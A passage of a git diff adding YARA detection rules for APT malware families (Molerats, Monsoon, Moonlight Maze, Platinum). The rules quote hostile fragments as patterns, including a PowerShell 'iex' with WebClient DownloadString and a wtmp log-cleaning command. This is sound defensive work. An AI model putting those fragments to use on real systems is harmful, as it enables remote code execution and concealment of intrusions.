+		id = "ff59d638-4d82-5a14-b346-3df2154d3c34"
+	strings:
+		$s1 = "adobe.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '27.00' */
+		$s2 = "Extracting files to %s folder$Extracting files to temporary folder" fullword wide /* PEStudio Blacklist: strings */ /* score: '26.00' */
+		$s3 = "GETPASSWORD1" fullword wide /* PEStudio Blacklist: strings */ /* score: '23.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule MiniDionis_VBS_Dropped {
+	meta:
+		description = "Dropped File - 1.vbs"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://malwr.com/analysis/ZDc4ZmIyZDI4MTVjNGY5NWI0YzE3YjIzNGFjZTcyYTY/"
+		date = "2015-07-21"
+		hash = "97dd1ee3aca815eb655a5de9e9e8945e7ba57f458019be6e1b9acb5731fa6646"
+		id = "f0116861-4216-504a-a39b-463e7535a2b3"
+	strings:
+		$s1 = "Wscript.Sleep 5000" ascii
+		$s2 = "Set FSO = CreateObject(\"Scripting.FileSystemObject\")" ascii
+		$s3 = "Set WshShell = CreateObject(\"WScript.Shell\")" ascii
+		$s4 = "If(FSO.FileExists(\"" ascii
+		$s5 = "then FSO.DeleteFile(\".\\" ascii
+	condition:
+		filesize < 1KB and all of them and $s1 in (0..40)
+}
diff --git a/yara-Neo23x0/apt_mofang.yar b/yara-Neo23x0/apt_mofang.yar
new file mode 100644
index 0000000..2867d1a
--- /dev/null
+++ b/yara-Neo23x0/apt_mofang.yar
@@ -0,0 +1,49 @@
+rule shimrat {
+   meta:
+      description = "Detects ShimRat and the ShimRat loader"
+      author = "Yonathan Klijnsma (yonathan.klijnsma@fox-it.com)"
+      date = "20/11/2015"
+      id = "21431895-1180-5552-8e82-1589992ffa1d"
+   strings:
+      $dll = ".dll"
+      $dat = ".dat"
+      $headersig = "QWERTYUIOPLKJHG"
+      $datasig = "MNBVCXZLKJHGFDS"
+      $datamarker1 = "Data$$00"
+      $datamarker2 = "Data$$01%c%sData"
+      $cmdlineformat = "ping localhost -n 9 /c %s > nul"
+      $demoproject_keyword1 = "Demo"
+      $demoproject_keyword2 = "Win32App"
+      $comspec = "COMSPEC"
+      $shim_func1 = "ShimMain"
+      $shim_func2 = "NotifyShims"
+      $shim_func3 = "GetHookAPIs"
+   condition:
+      ($dll and $dat and $headersig and $datasig) or
+      ($datamarker1 and $datamarker2) or
+      ($cmdlineformat and $demoproject_keyword1 and $demoproject_keyword2 and $comspec) or
+      ($dll and $dat and $shim_func1 and $shim_func2 and $shim_func3)
+}
+
+rule shimratreporter {
+   meta:
+      description = "Detects ShimRatReporter"
+      author = "Yonathan Klijnsma (yonathan.klijnsma@fox-it.com)"
+      date = "20/11/2015"
+      id = "01688b3c-2f06-518f-939d-4d65529be5ae"
+   strings:
+      $IpInfo = "IP-INFO"
+      $NetworkInfo = "Network-INFO"
+      $OsInfo = "OS-INFO"
+      $ProcessInfo = "Process-INFO"
+      $BrowserInfo = "Browser-INFO"
+      $QueryUserInfo = "QueryUser-INFO"
+      $UsersInfo = "Users-INFO"
+      $SoftwareInfo = "Software-INFO"
+      $AddressFormat = "%02X-%02X-%02X-%02X-%02X-%02X"
+      $proxy_str = "(from environment) = %s"
+      $netuserfun = "NetUserEnum"
+      $networkparams = "GetNetworkParams"
+   condition:
+      all of them
+}
diff --git a/yara-Neo23x0/apt_molerats_jul17.yar b/yara-Neo23x0/apt_molerats_jul17.yar
new file mode 100644
index 0000000..f455235
--- /dev/null
+++ b/yara-Neo23x0/apt_molerats_jul17.yar
@@ -0,0 +1,112 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-07-07
+   Identifier: Molerats Jul17
+   Reference: https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Molerats_Jul17_Sample_1 {
+   meta:
+      description = "Detects Molerats sample - July 2017"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
+      date = "2017-07-07"
+      hash1 = "ebf2423b9de131eab1c61ac395cbcfc2ac3b15bd9c83b96ae0a48619a4a38d0a"
+      id = "b5277255-3ced-5dc5-9490-c5829a0c248b"
+   strings:
+      /* {11804ce4-930a-4b09-bf70-9f1a95d0d70d}, Culture=neutral, PublicKeyToken=3e56350693f7355e */
+      $s1 = "ezExODA0Y2U0LTkzMGEtNGIwOS1iZjcwLTlmMWE5NWQwZDcwZH0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{c00" wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
+}
+
+rule Molerats_Jul17_Sample_2 {
+   meta:
+      description = "Detects Molerats sample - July 2017"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
+      date = "2017-07-07"
+      hash1 = "7e122a882d625f4ccac019efb7bf1b1024b9e0919d205105e7e299fb1a20a326"
+      id = "7ef02003-83d1-5ec7-952d-1e693375dd4b"
+   strings:
+      $s1 = "Folder.exe" fullword ascii
+      $s2 = "Notepad++.exe" fullword wide
+      $s3 = "RSJLRSJOMSJ" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and all of them )
+}
+
+rule Molerats_Jul17_Sample_3 {
+   meta:
+      description = "Detects Molerats sample - July 2017"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
+      date = "2017-07-07"
+      hash1 = "995eee4122802c2dc83bb619f8c53173a5a9c656ad8f43178223d78802445131"
+      hash2 = "fec657a19356753008b0f477083993aa5c36ebaf7276742cf84bfe614678746b"
+      id = "e1a3323e-fe84-59e5-86d9-dca0c261e3c3"
+   strings:
+      $s1 = "ccleaner.exe" fullword wide
+      $s2 = "Folder.exe" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 600KB and all of them )
+}
+
+rule Molerats_Jul17_Sample_4 {
+   meta:
+      description = "Detects Molerats sample - July 2017"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
+      date = "2017-07-07"
+      hash1 = "512a14130a7a8b5c2548aa488055051ab7e725106ddf2c705f6eb4cfa5dc795c"
+      id = "cad0c6a2-d286-52fa-b9b8-793ab9ae048f"
+   strings:
+      $x1 = "get-itemproperty -path 'HKCU:\\SOFTWARE\\Microsoft\\' -name 'KeyName')" wide
+      $x2 = "O.Run C & chrw(34) & \"[System.IO.File]::" wide
+      $x3 = "HKCU\\SOFTWARE\\Microsoft\\\\KeyName\"" fullword wide
+   condition:
+      ( filesize < 700KB and 1 of them )
+}
+
+rule Molerats_Jul17_Sample_5 {
+   meta:
+      description = "Detects Molerats sample - July 2017"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
+      date = "2017-07-07"
+      hash1 = "ebf2423b9de131eab1c61ac395cbcfc2ac3b15bd9c83b96ae0a48619a4a38d0a"
+      id = "c9dd4f4a-a980-5339-b238-9f53360b89ae"
+   strings:
+      $x1 = "powershell.exe -nop -c \"iex" nocase ascii
+      $x2 = ".run('%windir%\\\\SysWOW64\\\\WindowsPowerShell\\\\" ascii
+
+      $a1 = "Net.WebClient).DownloadString" nocase ascii
+      $a2 = "gist.githubusercontent.com" nocase ascii
+   condition:
+      filesize < 200KB and ( 1 of ($x*) or 2 of them )
+}
+
+rule Molerats_Jul17_Sample_Dropper {
+   meta:
+      description = "Detects Molerats sample dropper SFX - July 2017"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
+      date = "2017-07-07"
+      hash1 = "ad0b3ac8c573d84c0862bf1c912dba951ec280d31fe5b84745ccd12164b0bcdb"
+      id = "b4622373-b496-51de-abaa-caa665b558b3"
+   strings:
+      $s1 = "Please remove %s from %s folder. It is unsecure to run %s until it is done." fullword wide
+      $s2 = "sfxrar.exe" fullword ascii
+      $s3 = "attachment.hta" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and all of them )
+}
diff --git a/yara-Neo23x0/apt_monsoon.yar b/yara-Neo23x0/apt_monsoon.yar
new file mode 100644
index 0000000..1a0ef68
--- /dev/null
+++ b/yara-Neo23x0/apt_monsoon.yar
@@ -0,0 +1,64 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-09-08
+   Identifier:
+   Reference: http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-2
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule Monsoon_APT_Malware_1 {
+   meta:
+      description = "Detects malware from Monsoon APT"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-2"
+      date = "2017-09-08"
+      modified = "2023-01-06"
+      hash1 = "c9642f44d33e4c990066ce6fa0b0956ff5ace6534b64160004df31b9b690c9cd"
+      id = "a543c46d-01fc-5276-a915-183263956455"
+   strings:
+      $s1 = "cmd.exe /c start " fullword ascii
+      $s2 = "\\Microsoft\\Templates\\" ascii
+      $s3 = "\\Microsoft\\Windows\\" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and
+        filesize < 300KB and
+        (
+           pe.imphash() == "a0c824244f1d36ea1dd2759cf7599cd1" or
+           all of them
+        )
+      )
+}
+
+rule Monsoon_APT_Malware_2 {
+   meta:
+      description = "Detects malware from Monsoon APT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-2"
+      date = "2017-09-08"
+      hash1 = "17c3d0fe08e1184c9737144fa065f4530def30d6591e5414a36463609f9aa53a"
+      hash2 = "8e0574ebf3dc640ac82987ab6ee2a02fc3dd5eaf4f6b5275272ba887acd15ac0"
+      hash3 = "bf93ca5f497fc7f38533d37fd4c083523ececc34aa2d3660d81014c0d9091ae3"
+      id = "dbbccf56-7e36-5c3a-b8d9-ee08d077f29f"
+   strings:
+      $x1 = "\\Microsoft\\Windows\\coco.exe" ascii
+      $x2 = ":\\System Volume Information\\config" fullword ascii
+      $x3 = " cscript.[BACKSPA[PAGE DO[CAPS LO[PAGE UPTPX498.dTPX499.d" fullword wide
+
+      $s1 = "\\Microsoft\\Templates\\msvcrt.dll" ascii
+      $s2 = "%04d/%02d/%02d %02d:%02d:%02d - {%s}" fullword wide
+      $s3 = "wininet.dll    " fullword ascii
+      $s4 = "DMCZ0001.dat" fullword ascii
+      $s5 = "TZ0000001.dat" fullword ascii
+      $s6 = "\\MUT.dat" ascii
+      $s7 = "ouemm/emm!!!!!!!!!!!!!" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and
+        filesize < 400KB and ( 1 of ($x*) or 3 of them )
+      )
+}
diff --git a/yara-Neo23x0/apt_moonlightmaze.yar b/yara-Neo23x0/apt_moonlightmaze.yar
new file mode 100644
index 0000000..7aa1340
--- /dev/null
+++ b/yara-Neo23x0/apt_moonlightmaze.yar
@@ -0,0 +1,307 @@
+
+/*
+
+Moonlight Maze Yara rules - TLP_GREEN
+Author: Kaspersky Lab, 2017
+Version: 1.0
+Date: 2017-03-28
+
+*/
+
+rule apt_RU_MoonlightMaze_customlokitools {
+
+meta:
+
+	author = "Kaspersky Lab"
+	date = "2017-03-15"
+	version = "1.1"
+	last_modified = "2017-03-22"
+	reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+	description = "Rule to detect Moonlight Maze Loki samples by custom attacker-authored strings"
+	hash = "14cce7e641d308c3a177a8abb5457019"
+	hash = "a3164d2bbc45fb1eef5fde7eb8b245ea"
+	hash = "dabee9a7ea0ddaf900ef1e3e166ffe8a"
+	hash = "1980958afffb6a9d5a6c73fc1e2795c2"
+	hash = "e59f92aadb6505f29a9f368ab803082e"
+
+	id = "d5795d3b-bbb1-59e9-b86d-666b5c911f3b"
+strings:
+
+	$a1="Write file Ok..." ascii wide
+	$a2="ERROR: Can not open socket...." ascii wide
+	$a3="Error in parametrs:"  ascii wide
+	$a4="Usage: @<get/put> <IP> <PORT> <file>"  ascii wide
+	$a5="ERROR: Not connect..."  ascii wide
+	$a6="Connect successful...."  ascii wide
+	$a7="clnt <%d> rqstd n ll kll"  ascii wide
+	$a8="clnt <%d> rqstd swap"  ascii wide
+	$a9="cld nt sgnl prcs grp" ascii wide
+	$a10="cld nt sgnl prnt" ascii wide
+
+	//keeping only ascii version of string ->
+	$a11="ork error" ascii fullword
+
+condition:
+	// Added filesize due to false positives with Nvidia drivers in process memory
+	filesize < 5000KB and 3 of ($a*)
+}
+
+
+rule apt_RU_MoonlightMaze_customsniffer {
+
+meta:
+
+	author = "Kaspersky Lab"
+	date = "2017-03-15"
+	version = "1.1"
+	reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+	description = "Rule to detect Moonlight Maze sniffer tools"
+	hash = "7b86f40e861705d59f5206c482e1f2a5"
+	hash = "927426b558888ad680829bd34b0ad0e7"
+	original_filename = "ora;tdn"
+
+	id = "8cc76e4d-a956-543c-81e0-827dfdb5da1c"
+strings:
+
+
+	//strings from ora ->
+	$a1="/var/tmp/gogo" fullword
+	$a2="myfilename= |%s|" fullword
+	$a3="mypid,mygid=" fullword
+	$a4="mypid=|%d| mygid=|%d|" fullword
+
+	//strings from tdn ->
+	$a5="/var/tmp/task" fullword
+	$a6="mydevname= |%s|" fullword
+
+condition:
+	2 of ($a*)
+}
+
+
+rule loki2crypto {
+
+meta:
+
+	author = "Costin Raiu, Kaspersky Lab"
+	date = "2017-03-21"
+	version = "1.0"
+	description = "Rule to detect hardcoded DH modulus used in 1996/1997 Loki2 sourcecode; #ifdef STRONG_CRYPTO /* 384-bit strong prime */"
+	reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+	hash = "19fbd8cbfb12482e8020a887d6427315"
+	hash = "ea06b213d5924de65407e8931b1e4326"
+	hash = "14ecd5e6fc8e501037b54ca263896a11"
+	hash = "e079ec947d3d4dacb21e993b760a65dc"
+	hash = "edf900cebb70c6d1fcab0234062bfc28"
+
+	id = "d67288f8-5205-5882-8dff-041d092eea4f"
+strings:
+
+	$modulus={DA E1 01 CD D8 C9 70 AF C2 E4 F2 7A 41 8B 43 39 52 9B 4B 4D E5 85 F8 49}
+
+condition:
+
+	(any of them)
+
+}
+
+
+
+
+rule apt_RU_MoonlightMaze_de_tool {
+
+meta:
+
+	author = "Kaspersky Lab"
+	date = "2017-03-27"
+	version = "1.0"
+	last_modified = "2017-03-27"
+	reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+	description = "Rule to detect Moonlight Maze 'de' and 'deg' tunnel tool"
+	hash = "4bc7ed168fb78f0dc688ee2be20c9703"
+	hash = "8b56e8552a74133da4bc5939b5f74243"
+
+	id = "09bfebca-7cec-5514-9f48-c0c2c57efcf9"
+strings:
+
+	$a1="Vnuk: %d" ascii fullword
+	$a2="Syn: %d" ascii fullword
+
+	//%s\r%s\r%s\r%s\r ->
+	$a3={25 73 0A 25 73 0A 25 73 0A 25 73 0A}
+
+condition:
+
+	((2 of ($a*)))
+
+}
+
+
+rule apt_RU_MoonlightMaze_cle_tool {
+
+meta:
+
+	author = "Kaspersky Lab"
+	date = "2017-03-27"
+	version = "1.0"
+	last_modified = "2017-03-27"
+	reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+	description = "Rule to detect Moonlight Maze 'cle' log cleaning tool"
+	hash = "647d7b711f7b4434145ea30d0ef207b0"
+
+
+	id = "99ae07b9-eb42-53dc-bd8b-75ab6a0b8cab"
+strings:
+
+	$a1="./a filename template_file" ascii wide
+	$a2="May be %s is empty?"  ascii wide
+	$a3="template string = |%s|"   ascii wide
+	$a4="No blocks !!!"
+	$a5="No data in this block !!!!!!"  ascii wide
+	$a6="No good line"
+
+condition:
+
+	((3 of ($a*)))
+
+}
+
+
+rule apt_RU_MoonlightMaze_xk_keylogger {
+
+meta:
+
+	author = "Kaspersky Lab"
+	date = "2017-03-27"
+	version = "1.0"
+	last_modified = "2017-03-27"
+	reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+	description = "Rule to detect Moonlight Maze 'xk' keylogger"
+
+	id = "cf585cd0-afdd-5782-a6e5-bb9509cbf01d"
+strings:
+
+	$a1="Log ended at => %s"
+	$a2="Log started at => %s [pid %d]"
+	$a3="/var/tmp/task" fullword
+	$a4="/var/tmp/taskhost" fullword
+	$a5="my hostname: %s"
+	$a6="/var/tmp/tasklog"
+	$a7="/var/tmp/.Xtmp01" fullword
+	$a8="myfilename=-%s-"
+	$a9="/var/tmp/taskpid"
+	$a10="mypid=-%d-" fullword
+	$a11="/var/tmp/taskgid" fullword
+	$a12="mygid=-%d-" fullword
+
+
+condition:
+
+	((3 of ($a*)))
+
+}
+
+rule apt_RU_MoonlightMaze_encrypted_keylog {
+
+meta:
+
+	author = "Kaspersky Lab"
+	date = "2017-03-27"
+	version = "1.0"
+	last_modified = "2017-03-27"
+	reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+	description = "Rule to detect Moonlight Maze encrypted keylogger logs"
+
+	id = "f0d464f0-3955-5f41-a57f-8aa225e1171d"
+strings:
+	$a1={47 01 22 2A 6D 3E 39 2C}
+
+condition:
+	uint32(0) == 0x2a220147 and ($a1 at 0)
+
+}
+
+rule apt_RU_MoonlightMaze_IRIX_exploit_GEN {
+
+meta:
+
+	author = "Kaspersky Lab"
+	date = "2017-03-27"
+	version = "1.0"
+	last_modified = "2017-03-27"
+	reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+	description = "Rule to detect Irix exploits from David Hedley used by Moonlight Maze hackers"
+	reference2 = "https://www.exploit-db.com/exploits/19274/"
+	hash = "008ea82f31f585622353bd47fa1d84be" //df3
+	hash = "a26bad2b79075f454c83203fa00ed50c" //log
+	hash = "f67fc6e90f05ba13f207c7fdaa8c2cab" //xconsole
+	hash = "5937db3896cdd8b0beb3df44e509e136" //xlock
+	hash = "f4ed5170dcea7e5ba62537d84392b280" //xterm
+
+	id = "4f9ab7b0-4fb9-5311-ae23-01d0a9e2e104"
+strings:
+
+	$a1="stack = 0x%x, targ_addr = 0x%x"
+	$a2="execl failed"
+
+condition:
+
+	(uint32(0)==0x464c457f) and (all of them)
+
+}
+
+
+rule apt_RU_MoonlightMaze_u_logcleaner {
+
+meta:
+
+	author = "Kaspersky Lab"
+	date = "2017-03-27"
+	version = "1.0"
+	last_modified = "2017-03-27"
+	reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+	description = "Rule to detect log cleaners based on utclean.c"
+	reference2 = "http://cd.textfiles.com/cuteskunk/Unix-Hacking-Exploits/utclean.c"
+	hash = "d98796dcda1443a37b124dbdc041fe3b"
+	hash = "73a518f0a73ab77033121d4191172820"
+
+	id = "2dc1b796-c8fe-5a87-9d6b-3a322f4a43ab"
+strings:
+
+	$a1="Hiding complit...n"
+	$a2="usage: %s <username> <fixthings> [hostname]"
+	$a3="ls -la %s* ; /bin/cp  ./wtmp.tmp %s; rm  ./wtmp.tmp"
+
+condition:
+
+	(uint32(0)==0x464c457f) and (any of them)
+
+}
+
+
+rule apt_RU_MoonlightMaze_wipe {
+
+meta:
+
+	author = "Kaspersky Lab"
+	date = "2017-03-27"
+	version = "1.0"
+	last_modified = "2017-03-27"
+	reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+	description = "Rule to detect log cleaner based on wipe.c"
+	reference2 = "http://www.afn.org/~afn28925/wipe.c"
+	hash = "e69efc504934551c6a77b525d5343241"
+
+	id = "35060c3d-b805-54a6-a241-eb6e99168fa8"
+strings:
+
+	$a1="ERROR: Unlinking tmp WTMP file."
+	$a2="USAGE: wipe [ u|w|l|a ] ...options..."
+	$a3="Erase acct entries on tty :   wipe a [username] [tty]"
+	$a4="Alter lastlog entry       :   wipe l [username] [tty] [time] [host]"
+
+condition:
+
+	(uint32(0)==0x464c457f) and (2 of them)
+
+}
diff --git a/yara-Neo23x0/apt_ms_platinum.yara b/yara-Neo23x0/apt_ms_platinum.yara
new file mode 100644
index 0000000..b1edfa0
--- /dev/null
+++ b/yara-Neo23x0/apt_ms_platinum.yara
@@ -0,0 +1,418 @@
+rule Trojan_Win32_PlaSrv : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Hotpatching Injector"
+		original_sample_sha1 = "ff7f949da665ba8ce9fb01da357b51415634eaad"
+		unpacked_sample_sha1 = "dff2fee984ba9f5a8f5d97582c83fca4fa1fe131"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+		id = "2a099b68-fb13-5926-8a86-4d788326609c"
+	strings:
+		$Section_name = ".hotp1"
+		$offset_x59 = { C7 80 64 01 00 00 00 00 01 00 }
+	
+	condition:
+		$Section_name and $offset_x59
+}
+
+rule Trojan_Win32_Platual : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Installer component"
+		original_sample_sha1 = "e0ac2ae221328313a7eee33e9be0924c46e2beb9"
+		unpacked_sample_sha1 = "ccaf36c2d02c3c5ca24eeeb7b1eae7742a23a86a"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+		id = "ac963388-cc73-5842-96be-77349398efcc"
+	strings:
+		$class_name = "AVCObfuscation"
+		$scrambled_dir = { A8 8B B8 E3 B1 D7 FE 85 51 32 3E C0 F1 B7 73 99 }
+
+	condition:
+		$class_name and $scrambled_dir
+}
+
+rule Trojan_Win32_Plaplex : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Variant of the JPin backdoor"
+		original_sample_sha1 = "ca3bda30a3cdc15afb78e54fa1bbb9300d268d66"
+		unpacked_sample_sha1 = "2fe3c80e98bbb0cf5a0c4da286cd48ec78130a24"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+		id = "2d670c09-dc0a-556e-8d00-5f94e5907d99"
+	strings:
+		$class_name1 = "AVCObfuscation"
+		$class_name2 = "AVCSetiriControl"
+
+	condition:
+		$class_name1 and $class_name2
+}
+
+rule Trojan_Win32_Dipsind_B : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Dipsind Family"
+		sample_sha1 = "09e0dfbb5543c708c0dd6a89fd22bbb96dc4ca1c"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+		id = "513c18a6-af25-58ad-9232-9a089f4ced3d"
+	strings:
+		$frg1 = {8D 90 04 01 00 00 33 C0 F2 AE F7 D1 2B F9 8B C1 8B F7 8B FA C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8B 4D EC 8B 15 ?? ?? ?? ?? 89 91 ?? 07 00 00 }
+		$frg2 = {68 A1 86 01 00 C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA}
+		$frg3 = {C0 E8 07 D0 E1 0A C1 8A C8 32 D0 C0 E9 07 D0 E0 0A C8 32 CA 80 F1 63}
+
+	condition:
+		$frg1 and $frg2 and $frg3
+}
+
+rule Trojan_Win32_PlaKeylog_B : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Keylogger component"
+		original_sample_sha1 = "0096a3e0c97b85ca75164f48230ae530c94a2b77"
+		unpacked_sample_sha1 = "6a1412daaa9bdc553689537df0a004d44f8a45fd"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+		id = "bc84ef20-f428-5f3d-bc88-ab14991a2350"
+	strings:
+		$hook = {C6 06 FF 46 C6 06 25}
+		$dasm_engine = {80 C9 10 88 0E 8A CA 80 E1 07 43 88 56 03 80 F9 05}
+
+	condition:
+		$hook and $dasm_engine
+}
+
+rule Trojan_Win32_Adupib : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Adupib SSL Backdoor"
+		original_sample_sha1 = "d3ad0933e1b114b14c2b3a2c59d7f8a95ea0bcbd"
+		unpacked_sample_sha1 = "a80051d5ae124fd9e5cc03e699dd91c2b373978b"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+		id = "fb3b10a4-66d7-50ec-b6a5-b3c5c382ef01"
+	strings:
+		$str1 = "POLL_RATE"
+		$str2 = "OP_TIME(end hour)"
+		$str3 = "%d:TCP:*:Enabled"
+		$str4 = "%s[PwFF_cfg%d]"
+		$str5 = "Fake_GetDlgItemTextW: ***value***="
+
+	condition:
+		$str1 and $str2 and $str3 and $str4 and $str5
+}
+
+rule Trojan_Win32_PlaLsaLog : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Loader / possible incomplete LSA Password Filter"
+		original_sample_sha1 = "fa087986697e4117c394c9a58cb9f316b2d9f7d8"
+		unpacked_sample_sha1 = "29cb81dbe491143b2f8b67beaeae6557d8944ab4"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+		id = "e5c7e07d-79e3-580f-ac24-28920a9b0e70"
+	strings:
+		$str1 = {8A 1C 01 32 DA 88 1C 01 8B 74 24 0C 41 3B CE 7C EF 5B 5F C6 04 01 00 5E 81 C4 04 01 00 00 C3}
+		$str2 = "PasswordChangeNotify"
+
+	condition:
+		$str1 and $str2
+}
+
+rule Trojan_Win32_Plagon : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Dipsind variant"
+		original_sample_sha1 = "48b89f61d58b57dba6a0ca857bce97bab636af65"
+		unpacked_sample_sha1 = "6dccf88d89ad7b8611b1bc2e9fb8baea41bdb65a"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+		id = "ae3b7eb0-d54e-5817-9484-c054cd27c1fd"
+	strings:
+		$str1 = "VPLRXZHTU"
+		$str2 = {64 6F 67 32 6A 7E 6C}
+		$str3 = "Dqpqftk(Wou\"Isztk)"
+		$str4 = "StartThreadAtWinLogon"
+
+	condition:
+		$str1 and $str2 and $str3 and $str4
+}
+
+rule Trojan_Win32_Plakelog : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Raw-input based keylogger"
+		original_sample_sha1 = "3907a9e41df805f912f821a47031164b6636bd04"
+		unpacked_sample_sha1 = "960feeb15a0939ec0b53dcb6815adbf7ac1e7bb2"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+		id = "26f552e6-9abf-59ca-a8df-19473d6d775a"
+	strings:
+		$str1 = "<0x02>" wide
+		$str2 = "[CTR-BRK]" wide
+		$str3 = "[/WIN]" wide
+		$str4 = {8A 16 8A 18 32 DA 46 88 18 8B 15 08 E6 42 00 40 41 3B CA 72 EB 5E 5B}
+
+	condition:
+		$str1 and $str2 and $str3 and $str4
+}
+
+rule Trojan_Win32_Plainst : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Installer component"
+		original_sample_sha1 = "99c08d31af211a0e17f92dd312ec7ca2b9469ecb"
+		unpacked_sample_sha1 = "dcb6cf7cf7c8fdfc89656a042f81136bda354ba6"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+		id = "41a4770a-b4d8-5ddc-8b4f-a4e87a1f3923"
+	strings:
+		$str1 = {66 8B 14 4D 18 50 01 10 8B 45 08 66 33 14 70 46 66 89 54 77 FE 66 83 7C 77 FE 00 75 B7 8B 4D FC 89 41 08 8D 04 36 89 41 0C 89 79 04}
+		$str2 = {4b D3 91 49 A1 80 91 42 83 B6 33 28 36 6B 90 97}
+
+	condition:
+		$str1 and $str2
+}
+
+rule Trojan_Win32_Plagicom : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Installer component"
+		original_sample_sha1 = "99dcb148b053f4cef6df5fa1ec5d33971a58bd1e"
+		unpacked_sample_sha1 = "c1c950bc6a2ad67488e675da4dfc8916831239a7"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+		id = "86ef6fbf-cd39-533f-893c-72f22d73c99a"
+	strings:
+		$str1 = {C6 44 24 ?? 68 C6 44 24 ?? 4D C6 44 24 ?? 53 C6 44 24 ?? 56 C6 44 24 ??
+00}
+		$str2 = "OUEMM/EMM"
+		$str3 = {85 C9 7E 08 FE 0C 10 40 3B C1 7C F8 C3}
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plaklog : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Hook-based keylogger"
+		original_sample_sha1 = "831a5a29d47ab85ee3216d4e75f18d93641a9819"
+		unpacked_sample_sha1 = "e18750207ddbd939975466a0e01bd84e75327dda"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
